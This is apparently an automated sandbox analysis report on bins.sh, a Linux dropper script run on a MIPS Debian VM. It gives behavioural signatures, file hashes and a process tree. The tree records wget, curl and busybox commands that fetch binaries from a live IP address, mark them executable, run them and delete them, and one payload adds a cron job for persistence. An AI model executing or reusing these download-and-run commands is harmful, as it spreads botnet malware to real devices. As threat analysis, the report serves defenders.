Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    13/11/2024, 13:17

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241113-qjcprssdpf
  • SHA256 812e12d6dad4d488f8b8d39147e247dbe6b94a9474f1f98f5c9962f115845618
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1963) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:711
        • /usr/bin/wget
          wget http://216.126.231.240/bins/ODyDGOBy0jWfMj4rS70h0ABjZ9FrSyCPFS
          2⤵
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/ODyDGOBy0jWfMj4rS70h0ABjZ9FrSyCPFS
          2⤵
          • Writes file to tmp directory
          PID:734
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/ODyDGOBy0jWfMj4rS70h0ABjZ9FrSyCPFS
          2⤵
          • Writes file to tmp directory
          PID:735
        • /bin/chmod
          chmod 777 ODyDGOBy0jWfMj4rS70h0ABjZ9FrSyCPFS
          2⤵
          • File and Directory Permissions Modification
          PID:736
        • /tmp/ODyDGOBy0jWfMj4rS70h0ABjZ9FrSyCPFS
          ./ODyDGOBy0jWfMj4rS70h0ABjZ9FrSyCPFS
          2⤵
          • Executes dropped EXE
          PID:737
        • /bin/rm
          rm ODyDGOBy0jWfMj4rS70h0ABjZ9FrSyCPFS
          2⤵
            PID:739
          • /usr/bin/wget
            wget http://216.126.231.240/bins/hyyy8OoKdR2pnpfqESxX1UDf85WaIQxNRR
            2⤵
            • Writes file to tmp directory
            PID:740
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/hyyy8OoKdR2pnpfqESxX1UDf85WaIQxNRR
            2⤵
            • Writes file to tmp directory
            PID:759
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/hyyy8OoKdR2pnpfqESxX1UDf85WaIQxNRR
            2⤵
            • Writes file to tmp directory
            PID:774
          • /bin/chmod
            chmod 777 hyyy8OoKdR2pnpfqESxX1UDf85WaIQxNRR
            2⤵
            • File and Directory Permissions Modification
            PID:788
          • /tmp/hyyy8OoKdR2pnpfqESxX1UDf85WaIQxNRR
            ./hyyy8OoKdR2pnpfqESxX1UDf85WaIQxNRR
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:789
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:791
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                  • Reads runtime system information
                  PID:792
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:793
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:794
              • /bin/rm
                rm hyyy8OoKdR2pnpfqESxX1UDf85WaIQxNRR
                2⤵
                  PID:796
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/PjAvsQ34CXXz5AUPTxNP12dYB1c5U6QSlV
                  2⤵
                    PID:799
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/PjAvsQ34CXXz5AUPTxNP12dYB1c5U6QSlV
                    2⤵
                      PID:877
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/PjAvsQ34CXXz5AUPTxNP12dYB1c5U6QSlV
                      2⤵
                      • Writes file to tmp directory
                      PID:889
                    • /bin/chmod
                      chmod 777 PjAvsQ34CXXz5AUPTxNP12dYB1c5U6QSlV
                      2⤵
                      • File and Directory Permissions Modification
                      PID:894
                    • /tmp/PjAvsQ34CXXz5AUPTxNP12dYB1c5U6QSlV
                      ./PjAvsQ34CXXz5AUPTxNP12dYB1c5U6QSlV
                      2⤵
                      • Executes dropped EXE
                      PID:895
                    • /bin/rm
                      rm PjAvsQ34CXXz5AUPTxNP12dYB1c5U6QSlV
                      2⤵
                        PID:897
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/qxaXERN0MRSdtfT8ZxxQnAdIbxB2u09DdQ
                        2⤵
                          PID:898
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/qxaXERN0MRSdtfT8ZxxQnAdIbxB2u09DdQ
                          2⤵
                            PID:899
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/qxaXERN0MRSdtfT8ZxxQnAdIbxB2u09DdQ
                            2⤵
                            • Writes file to tmp directory
                            PID:900
                          • /bin/chmod
                            chmod 777 qxaXERN0MRSdtfT8ZxxQnAdIbxB2u09DdQ
                            2⤵
                            • File and Directory Permissions Modification
                            PID:902
                          • /tmp/qxaXERN0MRSdtfT8ZxxQnAdIbxB2u09DdQ
                            ./qxaXERN0MRSdtfT8ZxxQnAdIbxB2u09DdQ
                            2⤵
                            • Executes dropped EXE
                            PID:903
                          • /bin/rm
                            rm qxaXERN0MRSdtfT8ZxxQnAdIbxB2u09DdQ
                            2⤵
                              PID:905
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/laiau4cN6ui4dUhdtLO7AszWQd9X2AFpm2
                              2⤵
                                PID:906
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/laiau4cN6ui4dUhdtLO7AszWQd9X2AFpm2
                                2⤵
                                  PID:907
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/laiau4cN6ui4dUhdtLO7AszWQd9X2AFpm2
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:908
                                • /bin/chmod
                                  chmod 777 laiau4cN6ui4dUhdtLO7AszWQd9X2AFpm2
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:928
                                • /tmp/laiau4cN6ui4dUhdtLO7AszWQd9X2AFpm2
                                  ./laiau4cN6ui4dUhdtLO7AszWQd9X2AFpm2
                                  2⤵
                                  • Executes dropped EXE
                                  PID:930
                                • /bin/rm
                                  rm laiau4cN6ui4dUhdtLO7AszWQd9X2AFpm2
                                  2⤵
                                    PID:932
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/1TyuXA68wzAXZHbn2Y6tk5ybtmNb4MFdpj
                                    2⤵
                                      PID:933
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/1TyuXA68wzAXZHbn2Y6tk5ybtmNb4MFdpj
                                      2⤵
                                        PID:936

                                    Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          ODyDGOBy0jWfMj4rS70h0ABjZ9FrSyCPFS

                                          • Path /tmp/ODyDGOBy0jWfMj4rS70h0ABjZ9FrSyCPFS
                                          • Size 112KB
                                          • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                          • MD5 SHA1 SHA512 SSDEEP

                                          PjAvsQ34CXXz5AUPTxNP12dYB1c5U6QSlV

                                          • Path /tmp/PjAvsQ34CXXz5AUPTxNP12dYB1c5U6QSlV
                                          • Size 99KB
                                          • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                          • MD5 SHA1 SHA512 SSDEEP

                                          hyyy8OoKdR2pnpfqESxX1UDf85WaIQxNRR

                                          • Path /tmp/hyyy8OoKdR2pnpfqESxX1UDf85WaIQxNRR
                                          • Size 151KB
                                          • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                          • MD5 SHA1 SHA512 SSDEEP

                                          laiau4cN6ui4dUhdtLO7AszWQd9X2AFpm2

                                          • Path /tmp/laiau4cN6ui4dUhdtLO7AszWQd9X2AFpm2
                                          • Size 117KB
                                          • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                          • MD5 SHA1 SHA512 SSDEEP

                                          qxaXERN0MRSdtfT8ZxxQnAdIbxB2u09DdQ

                                          • Path /tmp/qxaXERN0MRSdtfT8ZxxQnAdIbxB2u09DdQ
                                          • Size 127KB
                                          • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                          • MD5 SHA1 SHA512 SSDEEP

                                          tmp.nHusCa

                                          • Path /var/spool/cron/crontabs/tmp.nHusCa
                                          • Size 210B
                                          • SHA256 59c56df38b01f8c162fb6e2a24023135bc708df8c79fc75ea2775b623ff28e75
                                          • MD5 SHA1 SHA512